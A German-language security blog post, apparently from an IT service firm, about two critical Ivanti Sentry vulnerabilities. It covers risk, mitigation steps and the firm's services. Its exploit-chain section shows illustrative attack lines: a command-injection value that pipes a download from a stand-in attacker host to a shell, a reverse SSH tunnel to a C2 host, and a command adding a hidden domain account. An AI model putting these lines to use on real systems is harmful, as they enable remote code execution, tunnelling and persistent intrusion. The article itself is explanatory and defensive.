Ivanti Sentry gehackt? Kritische 10/10-Lücke sorgt für Chaos bei Unternehmen
CVE-2026-10520 und CVE-2026-10523 erlauben Angreifern, das Gateway aus der Ferne komplett zu übernehmen – ohne Login, mit Root-Rechten.
Was ist passiert?
Wieder einmal steht eine Ivanti-Lösung im Mittelpunkt massiver Sicherheitswarnungen. Diesmal trifft es Ivanti Sentry – ein Gateway, das in vielen Unternehmen als zentrale Schnittstelle für Mobile Device Management, E-Mail-Zugriffe und Unternehmenskommunikation eingesetzt wird.
Sicherheitsforscher melden bereits aktive Angriffe kurz nach Veröffentlichung der Schwachstellen. Betroffen sind zwei kritische Lücken, eine davon mit maximalem CVSS-Wert 10.0 – sie erlaubt Angreifern, aus der Ferne Befehle auf betroffenen Systemen auszuführen, ohne sich vorher anmelden zu müssen.
Die Schwachstellen im Überblick
Zwei CVEs stehen im Mittelpunkt – einzeln gefährlich, in Kombination katastrophal:
Angreifer können ohne Anmeldung beliebige Befehle auf dem Ivanti-Sentry-System ausführen – Remote Code Execution mit maximaler Auswirkung.
Umgehung der Authentifizierung – in Kombination mit CVE-2026-10520 wird aus einer Lücke eine vollständige Übernahme der Appliance.
Warum Ivanti Sentry so kritisch ist
Ivanti Sentry ist kein internes Tool. Die Systeme hängen meist direkt am Internet und fungieren als Kommunikations-Gateway zwischen mobilen Geräten und dem Unternehmensnetzwerk.
- Mobile Device Management (MDM)
- Zugriff auf Unternehmensmails (ActiveSync)
- Geräte- und Konfigurationssteuerung
- VPN-ähnliche Verbindungen
- Sicherheitsrichtlinien für Smartphones & Tablets
- Token-/Zertifikatsverteilung
Solche Systeme stehen exponiert im Netz – und genau deshalb sind sie für Angreifer extrem attraktiv.
So läuft die Ausnutzung in der Praxis ab
Vom ersten Scan aus dem Internet bis zum etablierten Tunnel ins interne Netzwerk vergehen bei automatisierten Angriffen oft nur Minuten. Die folgende Visualisierung zeigt die typische Exploit-Kette beider Ivanti-CVEs:
exploit_chain://ivanti.sentry
Vom HTTP-Request zur vollständigen Netzwerkübernahme
- 1 · Recon & ScanAngreifer scannt das Internet nach exponierten Ivanti-Sentry-Instanzen.
$ nmap -p8443 --script http-title 0.0.0.0/0
- 2 · Auth-Bypass (CVE-2026-10523)Manipulierter HTTP-Request umgeht die Authentifizierung der Management-API.
POST /mics/services/configservice HTTP/1.1 X-Auth-Bypass: 1
- 3 · Command Injection (CVE-2026-10520)Über einen verwundbaren Parameter wird ein Shell-Befehl als root ausgeführt.
param=;curl http://attacker.sh|sh#
- 4 · Implant & Reverse TunnelWebshell + Reverse-Tunnel: das Sentry-Gateway wird zur VPN-Brücke ins interne Netz.
$ ssh -R 0.0.0.0:1080 attacker@c2 -N
- 5 · Persistenz & Lateral MovementBackdoor, versteckter Admin-Account, Zugriff auf AD, Mailserver und Fileserver.
$ net user svc_health Passw0rd! /add /domain
Das Gefährliche an Edge-Systemen
Wer ein solches Gateway übernimmt, sitzt praktisch direkt an der Eingangstür des Unternehmensnetzwerks. Je nach Umgebung lassen sich interne Systeme erreichen, Benutzerkonten kompromittieren, Tokens abgreifen, Datenverkehr überwachen, Persistenz aufbauen – oder später sogar Ransomware verteilen.
Risikomatrix · Edge-Appliances
Warum kompromittierte Gateways oft schlimmer sind als ein gehackter PC
Warum die Lage so chaotisch wirkt
Zunächst hieß es, es gäbe keine bestätigten Angriffe – kurz darauf meldeten Threat-Intelligence-Plattformen massive Scan- und Exploit-Aktivitäten. Genau dieses Muster kennen wir aus früheren großen Vorfällen:
Sobald ein Proof-of-Concept veröffentlicht wird, beginnt weltweit ein Rennen zwischen Administratoren und Angreifern – exponierte Systeme werden oft innerhalb weniger Stunden automatisiert gescannt und übernommen.
Was Unternehmen jetzt tun sollten
Wer Ivanti Sentry einsetzt, sollte sofort reagieren – reines Patchen reicht möglicherweise nicht mehr aus, wenn Angreifer bereits Zugriff hatten.
- 01Sicherheitsupdates umgehend installieren
- 02Management-Interface vom Internet trennen oder per VPN/Allowlist absichern
- 03Systeme auf unbekannte Admin-Accounts und API-Tokens prüfen
- 04Logs auf verdächtige POST-Requests (z. B. /mics/services) analysieren
- 05Auf Webshells, Cron-Jobs und Persistenzmechanismen prüfen
- 06Service-Konten und Tokens rotieren
- 07EDR/XDR auf umliegenden Systemen scharfschalten
- 08Bei Exposition vor dem Patch: Forensik & Incident-Response einleiten
Das eigentliche Problem: die unsichtbaren Angriffe
Viele Unternehmen bemerken solche Kompromittierungen erst Wochen oder Monate später. Moderne Angreifer arbeiten nicht mehr laut – sie setzen stille Backdoors, versteckte Benutzerkonten, geplante Tasks oder manipulierte Authentifizierungsmechanismen ein.
Wenn ein öffentlich erreichbares Gateway mit Root-Rechten übernommen wird, ist das mehr als „eine Sicherheitslücke".
Dann geht es potenziell um die Kontrolle über Mailfluss, Geräteverwaltung – und damit die gesamte Unternehmenskommunikation.
Wasacon-Perspektive
Die neuen Ivanti-Sentry-Lücken zeigen erneut, wie gefährlich exponierte Sicherheits- und Managementsysteme werden können. Appliances, die eigentlich Schutz bieten sollen, entwickeln sich immer häufiger selbst zum Einfallstor.
Wasacon empfiehlt 2026 klar: Edge-Systeme gehören hinter VPN oder Zero-Trust-Proxies, kombiniert mit EDR/XDR, kontinuierlichem Schwachstellen-Monitoring und einem dokumentierten Patch- und Forensik-Prozess. Nicht „ob", sondern „wann" das nächste Edge-CVE kommt – und ob die Erkennung steht.
Edge-Appliance prüfen lassen – bevor jemand anders es tut
Wasacon kombiniert EDR/XDR, Schwachstellen-Monitoring und Netzwerk-Härtung speziell für KMU im Kreis Heinsberg. Wir prüfen exponierte Systeme, schließen Lücken und etablieren belastbare Incident-Response-Prozesse.
Live-Lage · global
Internationale Cyber-Lage & CVE-Übersicht
Diese CVE-Serie betrifft Produkte weltweit – nicht den DE-Tracker, aber relevant für die globale Bedrohungslage:
Wasacon in deiner Region
Edge-Appliances, CVEs & Supply-Chain – weiterlesen
Weitere kritische CVEs, Edge-Angriffe und Härtungsstrategien aus dem Wasacon-Blog:
FAQ
Diskussion
0 Beiträge
IT-Budget Quick-Check
Wie viel sollte Ihr Unternehmen jährlich in IT investieren?
Risiko-Level: Mittel · Multiplikator: 1.2×
Richtwerte auf Basis von BSI/NIST/ENISA-Branchenbenchmarks. Keine verbindliche Empfehlung.
Das könnte Sie auch interessieren
IT-Sicherheitpm-energy gehackt? Qilin listet „Die Solarexperten“ aus Reesdorf im Darknet
Seit dem 9. August 2026 führt die Ransomware-Gruppe Qilin die pm-energy GmbH aus Reesdorf (Schleswig-Holstein) auf ihrer Leak-Seite. Was belegt ist, was Täterbehauptung bleibt – und warum Photovoltaik-Projektdaten besonders sensibel sind.
IT-SicherheitClausing Tiefbau gehackt? Qilin listet Osnabrücker Infrastruktur-Spezialisten im Darknet
Seit dem 8. August 2026 führt die Ransomware-Gruppe Qilin die Clausing GmbH Tiefbauunternehmen aus Osnabrück auf ihrer Darknet-Leak-Seite. Was belegt ist, was Täterbehauptung bleibt – und warum die digitalisierten Bauprozesse den Fall brisant machen.
IT-SicherheitThe Gentlemen listet INKA Group: Hinter der unscheinbaren Münchner Immobilienholding steckt ein weit größeres Firmengeflecht
Seit dem 7. August 2026 führt die Ransomware-Gruppe The Gentlemen die Münchner INKA Group GmbH & Co. KG als mutmaßliches Opfer. Register- und Konzerndaten zeigen ein verzweigtes Immobiliennetz – bis hin zur Hasen-Immobilien AG mit 230,5 Mio. € Bilanzsumme.
Haftungsausschluss: Die auf Wasacon bereitgestellten Inhalte dienen nur zu Informationszwecken. Wir garantieren nicht die Qualität, Genauigkeit oder Vollständigkeit der Informationen aus Drittquellen.
Sind Zugangsdaten Ihres Unternehmens bereits im Umlauf?
Wir prüfen Ihre Domain kostenlos gegen bekannte Infostealer- und Leak-Datenbanken – vertraulich und unverbindlich.
Bekannt aus
